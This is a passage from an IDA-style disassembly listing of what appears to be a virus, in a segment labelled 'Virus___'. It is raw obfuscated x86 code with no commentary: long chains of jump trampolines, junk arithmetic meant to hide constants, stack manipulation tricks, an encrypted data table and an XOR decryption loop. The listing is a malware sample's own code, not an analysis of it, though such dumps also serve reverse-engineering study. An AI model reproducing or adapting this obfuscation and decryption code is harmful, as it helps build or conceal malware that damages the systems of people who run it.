		push	dword ptr [esp+4]
		jmp	loc_57DD1D
; ---------------------------------------------------------------------------


loc_57EDF2:				; CODE XREF: Virus___:00579391j
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_57D3A2
; ---------------------------------------------------------------------------


loc_57EDFB:				; CODE XREF: Virus___:00578E90j
		sub	al, dl
		sub	al, 4Ch
		pop	edx
		sub	al, 0Eh
		add	al, bl
		add	al, 0Eh
		add	al, 0C0h
		add	al, 0C9h
		jmp	loc_57754E
; ---------------------------------------------------------------------------


loc_57EE0F:				; CODE XREF: Virus___:0057EE7Fj
		or	eax, 7C3C2CC2h
		xor	eax, 7D3F7EDFh
		jmp	loc_57C47A
; ---------------------------------------------------------------------------


loc_57EE1E:				; CODE XREF: Virus___:00576FEAj
		add	al, dh
		jmp	loc_5740D2
; ---------------------------------------------------------------------------


loc_57EE25:				; CODE XREF: Virus___:005754CBj
		add	ebx, eax
		pop	eax
		jmp	loc_57888C
; ---------------------------------------------------------------------------


loc_57EE2D:				; CODE XREF: Virus___:00578820j
		add	edx, 4
		push	esi
		mov	esi, 293E7D8Fh
		shr	esi, 4
		shr	esi, 3
		shr	esi, 4
		add	esi, 0FFFAD833h
		add	edx, esi
		jmp	loc_57E174
; ---------------------------------------------------------------------------


loc_57EE4F:				; CODE XREF: Virus___:0057E9B4j
		add	esp, 4
		xor	al, dl
		mov	dx, [esp]
		push	eax
		jmp	loc_5750DE
; ---------------------------------------------------------------------------


loc_57EE61:				; CODE XREF: Virus___:00578D4Bj
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57EE66:				; CODE XREF: Virus___:00577DC8j
		mov	[esp], edx
		push	esp
		jmp	loc_57507B
; ---------------------------------------------------------------------------


loc_57EE6F:				; CODE XREF: Virus___:00572CE5j
		add	ch, bh
		pop	ebx
		add	al, ch
		pop	ecx
		jmp	loc_57A9B4
; ---------------------------------------------------------------------------


loc_57EE7A:				; CODE XREF: Virus___:00573782j
		mov	eax, 1D2F5E59h
		jmp	loc_57EE0F
; ---------------------------------------------------------------------------


loc_57EE84:				; CODE XREF: Virus___:005771CEj
		inc	edi
		sub	edi, 0FF3FAC53h
		sub	edx, edi
		push	dword ptr [esp]
		pop	edi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		jmp	loc_57A883
; ---------------------------------------------------------------------------


loc_57EEA0:				; CODE XREF: Virus___:0057C80Fj
		push	dword ptr [esp]
		jmp	loc_5763B2
; ---------------------------------------------------------------------------


loc_57EEA8:				; CODE XREF: Virus___:005788D6j
		push	eax
		jmp	loc_57C462
; ---------------------------------------------------------------------------


loc_57EEAE:				; CODE XREF: Virus___:005736ACj
		xchg	edi, [esp]
		jmp	loc_57BE70
; ---------------------------------------------------------------------------


loc_57EEB6:				; CODE XREF: Virus___:005784D3j
		sub	cl, 3Fh
		sub	cl, 91h
		mov	eax, [esp]
		add	esp, 4
		pop	eax
		xor	al, cl
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_579176
; ---------------------------------------------------------------------------


loc_57EEDF:				; CODE XREF: Virus___:00579FCFj
		add	al, 83h
		add	al, 92h
		add	al, bh
		sub	al, 92h
		push	ecx
		mov	cl, 0E8h
		inc	cl
		jmp	loc_57D604
; ---------------------------------------------------------------------------


loc_57EEF1:				; CODE XREF: Virus___:0057699Fj
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		jmp	loc_5734CB
; ---------------------------------------------------------------------------


loc_57EF00:				; CODE XREF: Virus___:005737C7j
		pop	eax
		sub	al, dh
		mov	edx, [esp]
		add	esp, 4
		add	al, 53h
		add	al, bl
		sub	al, 53h
		jmp	loc_57D6C9
; ---------------------------------------------------------------------------


loc_57EF14:				; CODE XREF: Virus___:00577F14j
		pop	ebp
		add	esp, 4
		pop	ecx
		jmp	loc_57BC78
; ---------------------------------------------------------------------------


loc_57EF1E:				; CODE XREF: Virus___:00574B5Aj
		push	ecx
		mov	ecx, esp
		jmp	loc_57DD96
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		push	3B63h
		mov	[esp], edi
		mov	edi, esp
		push	edx
		mov	edx, 4
		jmp	loc_57D8CF
; ---------------------------------------------------------------------------


loc_57EF3F:				; CODE XREF: Virus___:00574334j
		add	esp, 4
		jmp	loc_575C18
; ---------------------------------------------------------------------------


loc_57EF4A:				; CODE XREF: Virus___:00578AD8j
		push	eax
		mov	eax, 7A145B75h
		and	eax, 1A554081h
		not	eax
		add	eax, 87D38D6h
		inc	eax
		dec	eax
		add	eax, 2FC3497Fh
		add	ebx, eax
		pop	eax
		jmp	loc_575608
; ---------------------------------------------------------------------------


loc_57EF6B:				; CODE XREF: Virus___:0057D686j
		pop	edi
		dec	edi
		add	edi, 0BF6AB90Bh
		mov	ebp, edi
		pop	edi
		add	ebp, 0D41F107h
		jmp	loc_57EC5E
; ---------------------------------------------------------------------------


loc_57EF81:				; CODE XREF: Virus___:00578546j
		add	edx, ecx
		jmp	loc_57BF9B
; ---------------------------------------------------------------------------
		lodsd
		push	79FEh
		mov	[esp], edx
		push	esi
		jmp	loc_5784AD
; ---------------------------------------------------------------------------


loc_57EF97:				; CODE XREF: Virus___:00573492j
		add	esp, 4
		push	edx
		mov	edx, 24792CEAh
		jmp	loc_57E351
; ---------------------------------------------------------------------------


loc_57EFA8:				; CODE XREF: Virus___:0057DC7Bj
		pop	ebx
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_576CD6
; ---------------------------------------------------------------------------


loc_57EFB8:				; CODE XREF: Virus___:0057852Bj
		add	esp, 4
		add	esp, 4
		push	0B16h
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		jmp	loc_57CFBA
; ---------------------------------------------------------------------------


loc_57EFD4:				; CODE XREF: Virus___:0057C0EBj
		add	esp, 4
		push	edi
		mov	edi, 439C537Ch
		jmp	loc_574F07
; ---------------------------------------------------------------------------


loc_57EFE5:				; CODE XREF: Virus___:0057ED77j
		mov	ebp, 5CB50CAFh
		sub	ebp, 6D7303h
		sub	ebp, 1
		push	esi
		mov	esi, 257D6126h
		shl	esi, 5
		inc	esi
		not	esi
		shl	esi, 1
		sub	esi, 7D9B3212h
		xor	esi, 2B99A8DDh
		or	ebp, esi
		jmp	loc_574400
; ---------------------------------------------------------------------------


loc_57F014:				; CODE XREF: Virus___:005791E0j
		mov	edi, 0BA04C95h
		jmp	loc_57A76E
; ---------------------------------------------------------------------------


loc_57F01E:				; CODE XREF: Virus___:0057D3BFj
		shr	edi, 6
		jmp	loc_57B140
; ---------------------------------------------------------------------------


loc_57F026:				; CODE XREF: Virus___:005762D5j
		mov	edi, ebx
		jmp	loc_574F24
; ---------------------------------------------------------------------------


loc_57F02D:				; CODE XREF: Virus___:0057875Dj
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], edx
		mov	dl, 0C6h
		add	dl, 0E0h
		neg	dl
		jmp	loc_57E718
; ---------------------------------------------------------------------------


loc_57F045:				; CODE XREF: Virus___:0057D988j
		xchg	ebx, [esp]
		pop	esp
		pop	ecx
		sub	esp, 4
		jmp	loc_579D14
; ---------------------------------------------------------------------------
		align 4
		dd 10h dup(0)
		dd 5F10A500h, 5EDE6009h, 5EDD8709h, 5E706C09h, 5F85E009h
		dd 5F7D1509h, 5F280609h, 5ECFCD09h, 5ECE6E09h, 5F474909h
		dd 5E874F09h, 5E5C6409h, 5F859209h, 5F749809h, 5F804709h
		dd 5F2CDF09h, 5F0D1809h, 5F812F09h, 5EDBE209h, 5F593B09h
		dd 5F3D0709h, 5EF5C409h, 5F46E209h, 5F322009h, 5F996809h
		dd 5ECADF09h, 5F16E209h, 5E745709h, 5EC7D109h, 5F929B09h
		dd 5E585309h, 5F96ED09h, 5F953E09h, 5EE8F109h, 5F2C0809h
		dd 5F344009h, 5F02EA09h, 5F36FD09h, 5F042C09h, 5E53FD09h
		dd 5EB8EE09h, 5E52D109h, 5F586009h, 5E6ABF09h, 5F69C709h
		dd 5F6CA809h, 5EF39209h, 5EAFEB09h, 5E9E0709h, 5F4B3809h
		dd 5EB7BD09h, 5F0DE109h, 5EE96209h, 5F31D709h, 5F03B009h
		dd 5F28C409h, 5EB22109h, 5F31A309h, 5EDE0209h, 5F4EC909h
		dd 5F5E5109h, 5ED5F509h, 5F65AA09h, 5F5E7E09h, 5F7E3B09h
		dd 5E98F609h, 5F00EC09h, 5EA01309h, 5F1D6D09h, 5F497A09h
		dd 5E5C5409h, 5F7E4A09h, 5EF6F009h, 5EB31D09h, 5F148009h
		dd 5EFBB109h, 5F5EA909h, 5EFDC309h, 5F0A1909h, 5E81D409h
		dd 5EEAFD09h, 5E6B1409h, 5E6E8309h, 5E650109h, 5E882909h
		dd 5EC58309h, 5F148909h, 5ECA0409h, 5F7B7F09h, 5F614509h
		dd 5EE8FF09h, 5F988709h, 5E9E3609h, 5EDBB809h, 5F599309h
		dd 5EA72909h, 5EAA5F09h, 5F93F009h, 5E899109h, 5EA50A09h
		dd 5EC63409h, 5F4ADD09h, 5F906809h, 5E930F09h, 5E4B5109h
		dd 5EA08409h, 5ECE7609h, 5F96A109h, 5F305A09h, 5EE72809h
		dd 5F944209h, 5F860A09h, 5F445709h, 5E90E009h, 5E4E9E09h
		dd 5F141209h, 5EA7B409h, 5EBE6009h, 5F156109h, 5F1C1009h
		dd 5F608809h, 5F4DEA09h, 5F910409h, 5E4EBE09h, 5ED69509h
		dd 5E65A209h, 5F375609h, 5E717309h, 5F260509h, 5ECB0109h
		dd 5E909D09h, 5F76BC09h, 5F609809h, 5F748D09h, 5F2F6109h
		dd 5E50FC09h, 5F5FEF09h, 5F44E409h, 5E579609h, 5EF52209h
		dd 5E639809h, 5E87B909h, 5E904309h, 5EB67709h, 5F56D909h
		dd 5F579909h, 5E50BC09h, 5F65D909h, 5EC65509h, 5ECF9E09h
		dd 5EDF4109h, 5EEE2109h, 5F964A09h, 5F2C8C09h, 5F249009h
		dd 5F1CCE09h, 5E4D8409h, 5E4ED409h, 5F24E509h, 5ED32E09h
		dd 5F2F3809h, 5E88D409h, 5E4A8F09h, 5EF73A09h, 5EB02A09h
		dd 5F392B09h, 5E737709h, 0FC9C6009h, 0E8h, 0EF815F00h
		dd 95E480Dh, 0C781C78Bh, 95E4525h, 752C473Bh, 8913EB02h
		dd 0A7B92C47h, 0EB000000h, 8F440105h, 0C90B4940h, 748BF775h
		dd 0DE8B2424h, 1B9F003h, 33000000h, 0B10FF0C0h,	0F775304Fh
; ---------------------------------------------------------------------------


loc_57F37C:				; CODE XREF: Virus___:loc_57F3EFj
					; Virus___:0057F4AFj ...
		lodsb
		xor	al, bl
		jmp	loc_58850F
; ---------------------------------------------------------------------------


loc_57F384:				; CODE XREF: Virus___:00592836j
		add	esp, 4
		push	ecx
		mov	ecx, 24523D66h
		push	2965h
		mov	[esp], ebp
		mov	ebp, 5E722E20h
		or	ecx, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 0BF9D21B5h
		add	ecx, ebx
		pop	ebx
		sub	ebp, ecx
		jmp	loc_581204
; ---------------------------------------------------------------------------


loc_57F3B2:				; CODE XREF: Virus___:0058F06Aj
		push	560Ch
		mov	[esp], ebx
		push	2222h
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		jmp	loc_58986D
; ---------------------------------------------------------------------------


loc_57F3CF:				; CODE XREF: Virus___:00591D42j
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esi
		push	ecx
		mov	ecx, 6D5C3D7Bh
		shr	ecx, 4
		push	ebx
		mov	ebx, 230E49A1h
		jmp	loc_57F92B
; ---------------------------------------------------------------------------


loc_57F3EF:				; CODE XREF: Virus___:005930CCj
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_57F3F4:				; CODE XREF: Virus___:00587E6Aj
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_58C4D8
; ---------------------------------------------------------------------------


loc_57F3FF:				; CODE XREF: Virus___:005811A5j
		sub	ebx, 8BD6F3F2h
		mov	eax, ebx
		pop	ebx
		sub	ebp, 4437408Ah
		add	ebp, 2D421915h
		add	ebp, eax
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 452A6E14h
		dec	edi
		not	edi
		add	edi, 726C8729h
		add	ebp, 1BC672BDh
		jmp	loc_587F23
; ---------------------------------------------------------------------------


loc_57F435:				; CODE XREF: Virus___:00587208j
		push	edx
		mov	dh, 7
		neg	dh
		push	small 0
		sub	[esp], dh
		mov	dh, [esp]
		add	esp, 2
		jmp	loc_58AF27
; ---------------------------------------------------------------------------


loc_57F44C:				; CODE XREF: Virus___:00583D28j
		mov	eax, esi
		pop	esi
		pop	edi
		and	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		dec	ebp
		shl	ebp, 6
		jmp	loc_59434D
; ---------------------------------------------------------------------------


loc_57F464:				; CODE XREF: Virus___:0058916Ej
		push	esp
		mov	edx, [esp]
		jmp	loc_58B37A
; ---------------------------------------------------------------------------


loc_57F46D:				; CODE XREF: Virus___:00593607j
		add	ecx, 4
		push	2B85h
		jmp	loc_5892C7
; ---------------------------------------------------------------------------


loc_57F47D:				; CODE XREF: Virus___:0058FACCj
		neg	esi
		and	esi, 452F3D55h
		sub	esi, 4021313Ch
		mov	ecx, esi
		pop	esi
		add	esi, ecx
		jmp	loc_58D70D
; ---------------------------------------------------------------------------


loc_57F495:				; CODE XREF: Virus___:00590F09j
		push	esp
		pop	edx
		add	edx, 4
		sub	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_57F4B4:				; CODE XREF: Virus___:0057F5D7j
		add	edi, 4
		jmp	loc_58E0C6
; ---------------------------------------------------------------------------


loc_57F4BF:				; CODE XREF: Virus___:0058FDE7j
		pop	eax
		jmp	loc_58CA02
; ---------------------------------------------------------------------------


loc_57F4C5:				; CODE XREF: Virus___:00591965j
		add	ebp, edi
		jmp	loc_59436F
; ---------------------------------------------------------------------------


loc_57F4CC:				; CODE XREF: Virus___:005927C4j
		push	ecx
		push	51925ABh
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_58D603
; ---------------------------------------------------------------------------


loc_57F4E0:				; CODE XREF: Virus___:0058018Cj
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_5942DC
; ---------------------------------------------------------------------------


loc_57F4EA:				; CODE XREF: Virus___:0058FA02j
		mov	[esp], edi
		push	esp
		pop	edi
		add	edi, 4
		push	ecx
		mov	ecx, 2
		sub	edi, 17682EC7h
		push	eax
		jmp	loc_587941
; ---------------------------------------------------------------------------


loc_57F507:				; CODE XREF: Virus___:005911E6j
		add	esp, 4
		movzx	eax, al
		lea	eax, [edi+eax*4]
		push	32EAh
		mov	[esp], ecx
		push	1A7Bh
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_592143
; ---------------------------------------------------------------------------


loc_57F52D:				; CODE XREF: Virus___:0058B873j
		shl	edx, 1
		jmp	loc_5828B5
; ---------------------------------------------------------------------------


loc_57F534:				; CODE XREF: Virus___:00587C59j
		mov	eax, [edx]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		push	3D84h
		mov	[esp], ecx
		mov	ecx, 0DB450CBh
		mov	esi, 0DB450CCh
		add	esi, 2804506Dh
		sub	esi, ecx
		push	edx
		mov	edx, 2804506Dh
		sub	esi, edx
		pop	edx
		pop	ecx
		and	eax, esi
		mov	esi, [esp]
		push	0FBAh
		mov	[esp], eax
		push	esi
		push	esp
		pop	esi
		push	edi
		mov	edi, 34BC2E44h
		jmp	loc_590EB3
; ---------------------------------------------------------------------------


loc_57F582:				; CODE XREF: Virus___:0058D23Fj
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_58D00F
; ---------------------------------------------------------------------------


loc_57F595:				; CODE XREF: Virus___:00587D79j
		add	dword ptr [esp+4], 1AA01EA1h
		add	[esp+4], ebx
		sub	dword ptr [esp+4], 1AA01EA1h
		mov	ebx, [esp]
		jmp	loc_59016E
; ---------------------------------------------------------------------------


loc_57F5B1:				; CODE XREF: Virus___:0058BCB0j
		pop	eax
		pop	ebp
		sub	esi, eax
		pop	eax
		xchg	esi, [esp]
		pop	esp
		jmp	loc_582D43
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		push	edx
		mov	edx, 4
		add	ebx, edx
		pop	edx
		jmp	loc_580E27
; ---------------------------------------------------------------------------


loc_57F5D6:				; CODE XREF: Virus___:005943CDj
		pop	edi
		jmp	loc_57F4B4
; ---------------------------------------------------------------------------


loc_57F5DC:				; CODE XREF: Virus___:00593B4Dj
		add	ecx, esi
		pop	esi
		xchg	ecx, [esp]
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_586FD9
; ---------------------------------------------------------------------------


loc_57F5ED:				; CODE XREF: Virus___:0059245Cj
		mov	ebx, 0BE20831h
		add	ebx, 0F41DF7D3h
		jmp	loc_585B0A
; ---------------------------------------------------------------------------


loc_57F5FD:				; CODE XREF: Virus___:0058EEA0j
		sub	edx, 32E426C4h
		add	edx, 0D9C7272Ah
		add	ecx, 0D3F2472h
		add	ecx, edx
		sub	ecx, 0D3F2472h
		pop	edx
		push	eax
		jmp	loc_5847B0
; ---------------------------------------------------------------------------


loc_57F61E:				; CODE XREF: Virus___:0058EA7Aj
		pop	esi
		jmp	loc_5907D3
; ---------------------------------------------------------------------------


loc_57F624:				; CODE XREF: Virus___:00582DF2j
		add	ebp, edi
		pop	edi
		jmp	loc_5833F8
; ---------------------------------------------------------------------------


loc_57F62C:				; CODE XREF: Virus___:0058485Cj
		mov	ebx, esp
		jmp	loc_5858E4
; ---------------------------------------------------------------------------


loc_57F633:				; CODE XREF: Virus___:0058B315j
		mov	ebp, 6E6301EAh
		and	ebp, 5D83170Dh
		sub	ebp, 72B03693h
		xor	ebp, 6A18283h
		xor	esi, ebp
		pop	ebp
		jmp	loc_585CE1
; ---------------------------------------------------------------------------


loc_57F652:				; CODE XREF: Virus___:00582AB2j
		mov	dl, 0A5h
		shl	dl, 4
		not	dl
		not	dl
		jmp	loc_583C77
; ---------------------------------------------------------------------------


loc_57F660:				; CODE XREF: Virus___:005909FEj
		pop	esp
		add	edx, 7A0A27ECh
		sub	edx, 57F22550h
		add	edx, eax
		add	edx, 57F22550h
		sub	edx, 7A0A27ECh
		pop	eax
		jmp	loc_585E74
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_58B3BF
; ---------------------------------------------------------------------------


loc_57F68D:				; CODE XREF: Virus___:00591C93j
		mov	ebp, esp
		push	edi
		jmp	loc_583F65
; ---------------------------------------------------------------------------


loc_57F695:				; CODE XREF: Virus___:0058D32Aj
		shr	ebp, 8
		sub	ebp, 1
		xor	ebp, 6C445E8Bh
		mov	eax, ebp
		pop	ebp
		add	eax, 2DDF785Dh
		sub	eax, 99DF992Bh
		jmp	loc_583185
; ---------------------------------------------------------------------------


loc_57F6B6:				; CODE XREF: Virus___:005860D6j
		mov	edx, [esp]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_585A04
; ---------------------------------------------------------------------------


loc_57F6C7:				; CODE XREF: Virus___:0058B251j
		mov	[esp], esi
		mov	esi, 4
		add	ebp, esi
		mov	esi, [esp]
		jmp	loc_585100
; ---------------------------------------------------------------------------


loc_57F6D9:				; CODE XREF: Virus___:0058CB0Aj
		mov	[esp], ebx
		jmp	loc_590C87
; ---------------------------------------------------------------------------


loc_57F6E1:				; CODE XREF: Virus___:00593F28j
		push	dword ptr [esp]
		jmp	loc_587A97
; ---------------------------------------------------------------------------


loc_57F6E9:				; CODE XREF: Virus___:0058A901j
		add	ecx, edi
		jmp	loc_5845BD
; ---------------------------------------------------------------------------


loc_57F6F0:				; CODE XREF: Virus___:0058F7E1j
		sub	esp, 4
		mov	[esp], ebx
		xchg	bh, [esp+1]
		dec	bh
		xchg	bh, [esp+1]
		pop	ebx
		not	bh
		push	ecx
		mov	cl, 0A5h
		neg	cl
		sub	cl, 45h
		sub	bh, cl
		pop	ecx
		push	4E34h
		mov	[esp], ecx
		mov	cl, 6Fh
		jmp	loc_58BC61
; ---------------------------------------------------------------------------


loc_57F71D:				; CODE XREF: Virus___:0058772Ej
		mov	edi, ecx
		pop	ecx
		jmp	loc_58202B
; ---------------------------------------------------------------------------


loc_57F725:				; CODE XREF: Virus___:00580CD2j
		push	eax
		mov	eax, 4
		jmp	loc_58E4B7
; ---------------------------------------------------------------------------


loc_57F730:				; CODE XREF: Virus___:00581F66j
		push	esi
		mov	esi, 5E0E7F7Dh
		sub	esi, 1443208Fh
		jmp	loc_5812CE
; ---------------------------------------------------------------------------


loc_57F741:				; CODE XREF: Virus___:0058D087j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_58DFC7
; ---------------------------------------------------------------------------


loc_57F752:				; CODE XREF: Virus___:00580B30j
		push	ecx
		push	21B7h
		mov	[esp], ebx
		sub	dword ptr [esp], 6097492Ah
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_588E60
; ---------------------------------------------------------------------------


loc_57F77A:				; CODE XREF: Virus___:0058715Fj
		add	ebx, edi
		pop	edi
		add	ebx, 30537AAh
		add	ebx, ebp
		sub	ebx, 30537AAh
		push	ecx
		mov	ecx, 5FE978E6h
		sub	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	ebx, 2
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_5894AC
; ---------------------------------------------------------------------------


loc_57F7BD:				; CODE XREF: Virus___:005809B0j
		xor	bx, ax
		movzx	eax, ax
		sub	esp, 4
		jmp	loc_58660C
; ---------------------------------------------------------------------------


loc_57F7CB:				; CODE XREF: Virus___:0058604Fj
		add	esi, 4
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_580FA9
; ---------------------------------------------------------------------------


loc_57F7E5:				; CODE XREF: Virus___:00581EAAj
		push	3E74h
		mov	[esp], edx
		jmp	loc_592BE2
; ---------------------------------------------------------------------------


loc_57F7F2:				; CODE XREF: Virus___:00583468j
		shl	eax, 7
		jmp	loc_585168
; ---------------------------------------------------------------------------


loc_57F7FA:				; CODE XREF: Virus___:00580208j
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_58E583
; ---------------------------------------------------------------------------


loc_57F805:				; CODE XREF: Virus___:00588C0Aj
		sub	eax, 58E552B7h
		sub	eax, esi
		jmp	loc_5828E4
; ---------------------------------------------------------------------------


loc_57F811:				; CODE XREF: Virus___:0058D02Dj
		pop	esp
		mov	[esp], ebp
		push	42966154h
		pop	ebp
		inc	ebp
		shl	ebp, 1
		push	313Eh
		mov	[esp], ecx
		jmp	loc_5889B1
; ---------------------------------------------------------------------------


loc_57F82B:				; CODE XREF: Virus___:00590525j
		xchg	edx, [esp]
		jmp	loc_591EB9
; ---------------------------------------------------------------------------


loc_57F833:				; CODE XREF: Virus___:00581938j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_58FFF2
; ---------------------------------------------------------------------------


loc_57F843:				; CODE XREF: Virus___:00584C9Aj
		add	ebp, 54184398h
		jmp	loc_58D925
; ---------------------------------------------------------------------------


loc_57F84E:				; CODE XREF: Virus___:00582A78j
		mov	edi, 6F9B4618h
		inc	edi
		xor	edi, 6F9B461Dh
		add	ebx, edi
		pop	edi
		push	1544h
		mov	[esp], edi
		push	64E5h
		mov	[esp], ebx
		jmp	loc_59325D
; ---------------------------------------------------------------------------


loc_57F872:				; CODE XREF: Virus___:00585DFAj
		mov	esi, 73C21936h
		add	ecx, 6CBA0DF5h
		push	549Ch
		mov	[esp], ebx
		push	eax
		push	esi
		mov	esi, 51123B86h
		mov	eax, 6E652BBh
		xor	eax, esi
		pop	esi
		shl	eax, 1
		jmp	loc_593E40
; ---------------------------------------------------------------------------


loc_57F89B:				; CODE XREF: Virus___:0059255Dj
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_58BBF0
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	30AFh
		mov	[esp], eax
		jmp	loc_58BF33
; ---------------------------------------------------------------------------


loc_57F8C5:				; CODE XREF: Virus___:00589298j
		add	ecx, esi
		pop	esi
		sub	eax, 67C7240Eh
		sub	eax, ecx
		add	eax, 67C7240Eh
		jmp	loc_58A3F7
; ---------------------------------------------------------------------------


loc_57F8D9:				; CODE XREF: Virus___:0058C87Fj
		sub	ecx, eax
		pop	eax
		push	edi
		jmp	loc_58D680
; ---------------------------------------------------------------------------


loc_57F8E2:				; CODE XREF: Virus___:005813A1j
		mov	ebp, [esp]
		jmp	loc_588507
; ---------------------------------------------------------------------------


loc_57F8EA:				; CODE XREF: Virus___:0058FF7Bj
		pop	dword ptr [esp]
		jmp	loc_586000
; ---------------------------------------------------------------------------


loc_57F8F2:				; CODE XREF: Virus___:0058870Dj
		mov	ebx, [esp]
		jmp	loc_5939EE
; ---------------------------------------------------------------------------


loc_57F8FA:				; CODE XREF: Virus___:00591401j
		pop	edx
		jmp	loc_5803F8
; ---------------------------------------------------------------------------


loc_57F900:				; CODE XREF: Virus___:0058D2D7j
		add	esi, ecx
		sub	esi, 6A8C0277h
		sub	esp, 4
		jmp	loc_582E21
; ---------------------------------------------------------------------------


loc_57F913:				; CODE XREF: Virus___:0058EF94j
		sub	ebx, 76249C13h
		sub	edi, ebx
		pop	ebx
		jmp	loc_58DC69
; ---------------------------------------------------------------------------


loc_57F921:				; CODE XREF: Virus___:00582565j
		mov	[esp], eax
		mov	ah, 0Ch
		jmp	loc_587982
; ---------------------------------------------------------------------------


loc_57F92B:				; CODE XREF: Virus___:0057F3EAj
		sub	ebx, 0E7C10BEEh
		or	ecx, ebx
		pop	ebx
		xor	ecx, 1FE5D5E2h
		jmp	loc_58D32F
; ---------------------------------------------------------------------------


loc_57F93F:				; CODE XREF: Virus___:00582290j
		mov	[esp], edi
		push	eax
		mov	eax, 60C825D2h
		push	ebx
		mov	ebx, 229F7611h
		neg	ebx
		xor	ebx, 783B6C77h
		add	ebx, 0F9DBF49Ah
		mov	edi, ebx
		pop	ebx
		push	ebp
		mov	ebp, 26573DCBh
		sub	edi, ebp
		pop	ebp
		add	edi, eax
		add	edi, 26573DCBh
		pop	eax
		mov	ecx, edi
		jmp	loc_588C0F
; ---------------------------------------------------------------------------


loc_57F978:				; CODE XREF: Virus___:00592C20j
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		jmp	loc_589AB7
; ---------------------------------------------------------------------------


loc_57F989:				; CODE XREF: Virus___:0058B226j
		add	ebp, 0E7F6B4A0h
		mov	esi, 980BEE64h
		add	esi, 188406FEh
		add	esi, ebp
		push	eax
		mov	eax, 36C53EC7h
		push	ebp
		mov	ebp, 72BF6CBFh
		add	ebp, 6EFF5B78h
		add	eax, ebp
		pop	ebp
		sub	esi, 20200524h
		add	esi, 60420Bh
		sub	esi, eax
		jmp	loc_5927FB
; ---------------------------------------------------------------------------


loc_57F9C4:				; CODE XREF: Virus___:0058B57Aj
		push	2
		jmp	loc_583BF6
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], esi
		push	esp
		pop	esi
		push	ebp
		push	ebx
		mov	ebx, 4
		jmp	loc_57FF23
; ---------------------------------------------------------------------------


loc_57F9E6:				; CODE XREF: Virus___:005913F3j
		and	edi, edx
		pop	edx
		jmp	loc_5802FC
; ---------------------------------------------------------------------------
		push	0
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_58AC4E
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		jmp	loc_58AB74
; ---------------------------------------------------------------------------


loc_57FA10:				; CODE XREF: Virus___:0058B02Aj
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_590E09
; ---------------------------------------------------------------------------


loc_57FA1B:				; CODE XREF: Virus___:0058C4A2j
		inc	edx
		neg	edx
		inc	edx
		push	0
		sub	[esp], edx
		pop	edx
		add	edx, 0BE427076h
		sub	ebx, edx
		jmp	loc_58F8FC
; ---------------------------------------------------------------------------


loc_57FA35:				; CODE XREF: Virus___:0058A652j
		add	edx, 0FFFFFFFFh
		jmp	loc_590652
; ---------------------------------------------------------------------------


loc_57FA40:				; CODE XREF: Virus___:00586115j
		pop	edi
		jmp	loc_58D5D6
; ---------------------------------------------------------------------------


loc_57FA46:				; CODE XREF: Virus___:00581B5Aj
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_58B1A7
; ---------------------------------------------------------------------------


loc_57FA5F:				; CODE XREF: Virus___:00593E2Bj
		push	1460h
		mov	[esp], edi
		jmp	loc_58D268
; ---------------------------------------------------------------------------


loc_57FA6C:				; CODE XREF: Virus___:00581752j
		add	esp, 4
		jmp	loc_5879D3
; ---------------------------------------------------------------------------


loc_57FA74:				; CODE XREF: Virus___:0058B61Bj
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
